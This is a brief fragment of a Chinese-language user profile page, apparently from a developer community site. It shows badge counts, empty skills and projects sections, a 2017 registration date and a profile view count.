  • 获得 35 枚徽章 获得 1 枚金徽章, 获得 8 枚银徽章, 获得 26 枚铜徽章

擅长技能
编辑

开源项目 & 著作
编辑

注册于 2017-08-28
个人主页被 7.3k 人浏览